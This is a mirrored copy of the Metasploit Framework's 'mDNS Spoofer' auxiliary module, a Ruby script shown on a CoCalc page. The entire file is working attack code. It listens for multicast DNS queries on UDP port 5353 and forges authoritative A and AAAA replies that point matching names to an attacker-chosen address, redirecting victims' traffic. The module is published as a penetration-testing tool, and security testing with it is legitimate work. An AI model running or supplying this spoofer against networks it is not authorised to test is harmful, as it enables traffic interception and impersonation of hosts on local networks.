CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/mdns/mdns_response.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'socket'
7
require 'ipaddr'
8
require 'net/dns'
9
10
class MetasploitModule < Msf::Auxiliary
11
12
include Msf::Exploit::Capture
13
14
attr_accessor :sock, :thread
15
16
17
def initialize
18
super(
19
'Name' => 'mDNS Spoofer',
20
'Description' => %q{
21
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
22
},
23
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
28
],
29
30
'Actions' =>
31
[
32
[ 'Service', 'Description' => 'Run mDNS spoofing service' ]
33
],
34
'PassiveActions' =>
35
[
36
'Service'
37
],
38
'DefaultAction' => 'Service'
39
)
40
41
register_options([
42
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
43
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
44
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
45
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
46
])
47
48
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
49
self.thread = nil
50
self.sock = nil
51
end
52
53
def dispatch_request(packet, rhost, src_port)
54
rhost = ::IPAddr.new(rhost)
55
56
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
57
# addr like "::ffff:192.168.0.1" when the interface we're listening
58
# on has an IPv6 address. Convert it to just the v4 addr
59
if rhost.ipv4_mapped?
60
rhost = rhost.native
61
end
62
63
# Parse the incoming MDNS packet. Quit if an exception was thrown.
64
dns_pkt = nil
65
begin
66
dns_pkt = ::Net::DNS::Packet.parse(packet)
67
rescue
68
return
69
end
70
71
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
72
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
73
74
# Turn this packet into an authoritative response.
75
dns_pkt.header.qr = 1
76
dns_pkt.header.aa = 1
77
78
qm = true
79
dns_pkt.question.each do |question|
80
name = question.qName
81
if datastore['REGEX'] != '.*'
82
unless name =~ /#{datastore['REGEX']}/i
83
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
84
next
85
end
86
end
87
88
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
89
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
90
qm = false
91
end
92
93
# qType is not a Integer, so to compare it with `case` we have to
94
# convert it
95
responding_with = nil
96
case question.qType.to_i
97
when ::Net::DNS::A
98
dns_pkt.answer << ::Net::DNS::RR::A.new(
99
:name => name,
100
:ttl => datastore['TTL'],
101
:cls => 0x8001, # Class IN, with flush cache flag
102
:type => ::Net::DNS::A,
103
:address => spoof4.to_s
104
)
105
responding_with = spoof4.to_s
106
when ::Net::DNS::AAAA
107
if spoof6 != ''
108
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
109
:name => name,
110
:ttl => datastore['TTL'],
111
:cls => 0x8001, # Class IN, with flush cache flag
112
:type => ::Net::DNS::AAAA,
113
:address => spoof6.to_s
114
)
115
responding_with = spoof6.to_s
116
end
117
else
118
# Skip PTR, SRV, etc. records.
119
next
120
end
121
122
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
123
if not responding_with.nil? and should_print_reply?(name)
124
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
125
end
126
end
127
128
# Clear the questions from the responses. They aren't observed in legit responses.
129
dns_pkt.question.clear()
130
131
# If we didn't find anything we want to spoof, don't send any
132
# packets
133
return if dns_pkt.answer.empty?
134
135
begin
136
udp = ::PacketFu::UDPHeader.new(
137
:udp_src => 5353,
138
:udp_dst => src_port,
139
:body => dns_pkt.data
140
)
141
rescue
142
return
143
end
144
udp.udp_recalc
145
146
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
147
dst = rhost
148
if rhost.ipv4?
149
if qm
150
dst = ::IPAddr.new('224.0.0.251')
151
end
152
ip_pkt = ::PacketFu::IPPacket.new(
153
:ip_src => spoof4.hton,
154
:ip_dst => dst.hton,
155
:ip_proto => 0x11, # UDP
156
:body => udp
157
)
158
elsif rhost.ipv6?
159
if qm
160
dst = ::IPAddr.new('ff02::fb')
161
end
162
ip_pkt = ::PacketFu::IPv6Packet.new(
163
:ipv6_src => spoof6.hton,
164
:ipv6_dst => dst.hton,
165
:ip_proto => 0x11, # UDP
166
:body => udp
167
)
168
else
169
# Should never get here
170
print_error("IP version is not 4 or 6. Failed to parse?")
171
return
172
end
173
ip_pkt.recalc
174
175
capture_sendto(ip_pkt, rhost.to_s, true)
176
end
177
178
def monitor_socket
179
while true
180
rds = [self.sock]
181
wds = []
182
eds = [self.sock]
183
184
r,_,_ = ::IO.select(rds,wds,eds,0.25)
185
186
if (r != nil and r[0] == self.sock)
187
packet, host, port = self.sock.recvfrom(65535)
188
dispatch_request(packet, host, port)
189
end
190
end
191
end
192
193
194
# Don't spam with success, just throttle to every 10 seconds
195
# per host
196
def should_print_reply?(host)
197
@notified_times ||= {}
198
now = Time.now.utc
199
@notified_times[host] ||= now
200
last_notified = now - @notified_times[host]
201
if last_notified == 0 or last_notified > 10
202
@notified_times[host] = now
203
else
204
false
205
end
206
end
207
208
def run
209
check_pcaprub_loaded()
210
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
211
212
# Avoid receiving extraneous traffic on our send socket
213
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
214
215
# Multicast Address for LLMNR
216
multicast_addr = ::IPAddr.new("224.0.0.251")
217
218
# The bind address here will determine which interface we receive
219
# multicast packets from. If the address is INADDR_ANY, we get them
220
# from all interfaces, so try to restrict if we can, but fall back
221
# if we can't
222
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
223
224
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
225
self.sock = Rex::Socket.create_udp(
226
# This must be INADDR_ANY to receive multicast packets
227
'LocalHost' => "0.0.0.0",
228
'LocalPort' => 5353,
229
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
230
)
231
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
232
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
233
234
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
235
monitor_socket
236
}
237
238
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
239
240
add_socket(self.sock)
241
242
self.thread.join
243
end
244
245
def cleanup
246
if self.thread and self.thread.alive?
247
self.thread.kill
248
self.thread = nil
249
end
250
self.sock.close
251
close_pcap
252
end
253
end
254
255